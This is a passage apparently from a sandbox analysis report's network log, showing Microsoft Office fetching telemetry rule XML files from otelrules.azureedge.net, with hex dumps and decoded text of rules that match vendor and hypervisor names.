R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.7	49796	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:47 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:47 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 9160dc9b-d01e-00ad-5f02-48e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172647Z-r1cf579d778bb9vvhC1EWRs95400000002hg000000005c3c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:47 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.7	49798	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:48 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:48 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:48 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 4c7743ed-001e-0082-4b03-485880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172648Z-r1cf579d778qlpkrhC1EWRpfc800000003r0000000002ed7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:48 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.7	49797	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:48 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:48 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:48 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 1f17df4b-601e-0050-2d03-482c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172648Z-r1cf579d7784wpmvhC1EWRk4cn00000002hg0000000003rm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:48 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.7	49800	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:48 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:48 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 83778e64-b01e-0070-6d05-481cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172648Z-r1cf579d7789trgthC1EWRkkfc00000003k0000000008nq1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:49 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.7	49799	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:48 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:48 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: a374b664-e01e-0051-1f05-4884b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172648Z-r1cf579d778lntp7hC1EWR9gg400000002gg000000000h52 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:49 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.7	49801	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:49 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:49 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: f6e8c48a-401e-000a-8008-484a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172649Z-r1cf579d778z4wflhC1EWRa3h000000002x0000000009f3e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:49 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.7	49802	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:50 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:50 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:50 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 8332a10a-c01e-0079-4304-48e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172650Z-r1cf579d7784wpmvhC1EWRk4cn00000002ag0000000099m0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:50 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.7	49803	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:50 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:50 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:50 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: e8b3d2c0-701e-0050-0b05-486767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172650Z-r1cf579d77898tqwhC1EWRf9q8000000033g0000000015n7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:50 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.7	49805	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:50 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:50 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 1dbd65e4-a01e-0002-7203-485074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172650Z-r1cf579d7789trgthC1EWRkkfc00000003n0000000005pc0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:51 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.7	49804	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:50 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:51 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: fdf3550d-a01e-0070-7703-48573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172651Z-r1cf579d778dfdgnhC1EWRd3w000000002pg00000000986v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:51 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.7	49806	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:51 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:52 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:51 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: b8e80a8d-201e-000c-1e03-4879c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172651Z-r1cf579d77898tqwhC1EWRf9q80000000330000000001um8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:52 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.7	49808	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:52 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:52 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:52 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 18148ef3-001e-002b-2504-4899f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172652Z-r1cf579d77898tqwhC1EWRf9q80000000330000000001unb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:52 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.7	49807	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
